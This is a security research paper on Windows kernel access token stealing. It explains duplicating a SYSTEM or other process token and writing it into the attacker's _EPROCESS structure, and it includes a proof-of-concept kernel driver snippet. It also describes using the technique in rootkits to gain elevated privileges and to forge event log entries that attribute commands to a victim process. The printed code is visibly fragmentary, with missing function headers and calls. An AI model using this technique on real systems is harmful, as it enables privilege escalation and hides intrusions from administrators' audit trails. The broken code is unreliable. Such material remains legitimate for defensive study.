Professional Documents
Culture Documents
Access Token Stealing On Windows
Access Token Stealing On Windows
Csaba Barta
These two fields contain the hashes of the SIDs stored in the dynamic part of the token in order to
prevent accidental or intended modification. The hashes are checked every time the token is used. This
results in the fact that the technique developed by Greg Hoglund cannot be used in recent versions of
Microsoft Windows.
Token stealing
One possible way to bypass integrity checks would be to find the kernel code that is responsible for
verifying the access token, and patch it. The implementation of this option is heavily version dependent
and the new patch protection must be turned off, so an easier and more stable alternative is needed.
The _TOKEN structure is linked to the _EPROCESS structure through the Token member which is of
the type _EX_FAST_REF. The exact memory address of the _TOKEN structure can be calculated from
the value stored in the _EX_FAST_REF field by XOR-ing the value with 0xFFFFFFF8. This is
because the last 3 bits of the value are used to keep track of the references on the token object.
During research it turned out that currently the token is not exclusively bound to the process object and
therefore it is possible to use the access token of other processes by simply modifying the
_EX_FAST_REF value in our _EPROCESS structure to the value in the _EPROCESS structure of the
victim process. There is a problem regarding this operation that is: after the modification is done, two
processes will use the same token object. This means that when our process or the victim exits, the
system will free the token object. If the other process tries to use the token or exits, it will immediately
result in BSOD.
The case when the victim process is the SYSTEM process (the process with PID = 4) is an exception
to this. The operating system will be fully functional when another process uses the token of this
process, because this is one of the last processes that is to be terminated, and nothing happens if there is
problem during termination.
To overcome this problem, a copy must be made of the access token of the target process. This can be
accomplished by using the ZwDuplicateToken function. After a copy of the desired access token is
made, the only thing that is to be done is to exchange the original value of the Token field with the
address of the new token. The process will have the same access rights as the victim.
Here is the proof of concept code snippet that is capable of stealing the access token of other processes:
OSDETAILS osdetails;
if (terminate_PID == 0)
return terminate_PID;
while(1)
{
if(terminate_PID == current_PID)
return eproc;
else if((i_count >= 1) && (start_PID == current_PID))
{
return 0x00000000;
}
else {
plist_active_procs = (LIST_ENTRY *) (eproc + osdetails.FLINKOFFSET);
eproc = (DWORD) plist_active_procs->Flink;
eproc = eproc - osdetails.FLINKOFFSET;
current_PID = *((int *)(eproc+osdetails.PIDOFFSET));
i_count++;
}
}
}
if (!NT_SUCCESS(status))
{
DbgPrint("Error creating access state!!!");
return status;
}
aState.PreviouslyGrantedAccess |= aState.RemainingDesiredAccess;
aState.RemainingDesiredAccess = 0;
if (!NT_SUCCESS(status))
{
SeDeleteAccessState(&aState);
return status;
}
status = ObOpenObjectByPointer(
pseproc,
0,
&aState,
0,
*PsProcessType,
KernelMode,
&hseproc
);
SeDeleteAccessState(&aState);
ObDereferenceObject(pseproc);
if (!NT_SUCCESS(status))
{
DbgPrint("Opening source token failed!\n");
return status;
}
if (!NT_SUCCESS(status))
{
DbgPrint("Copying source token failed!\n");
return status;
}
if (!NT_SUCCESS(status))
{
DbgPrint("Referencing new token failed!\n");
return status;
}
if ((DWORD)pdeproc == 0x0){
DbgPrint("Destination process (%d) not found!\n", dpid);
return STATUS_UNSUCCESSFUL;
}
return STATUS_SUCCESS;
}
Technical limitations
The technique in this form has some interesting limitations, which could be eliminated in the future.
The first limitation is that creating new processes is only possible if the access token that is to be stolen
belongs to a process, which is running on behalf of an account that is member of the Administrators
group or on behalf of the SYSTEM account.
One other limitation is that if the token belongs to one of the members of the Administrators group,
only processes without GUI can be launched.
In the case of rootkits these are not critical limitations. The aim of the attacker usually is to gain
elevated privileges. This means that stealing the access token from SYSTEM or Administrator is the
most usual use case.
Faking detailed process tracking events
One possible use case is to launch processes on behalf of another process, which is running on behalf
of other account.
In order to insert fake eventlog entries we should launch our application (the rootkit client) on behalf of
our account. The OS will insert a standard Process creation entry into the eventlog with our PID and
account information.
Within our rootkit client, before we launch our command, we should steal the PID and access token of
the victim process and assign it to our process. After that we should launch the desired command. The
OS will then insert a Process creation entry into the eventlog with information that belongs to the
victim process. This way the eventlog entry will show that the newly created process was started by the
victim process.
Picture 3: Process Creation entry generated after token and PID stolen, and
new process launched
Before terminating our process we should change the above mentioned information (PID and token)
back to the original ones. Doing so will result in the OS logging a Process termination event with the
original information that belongs to our process and account.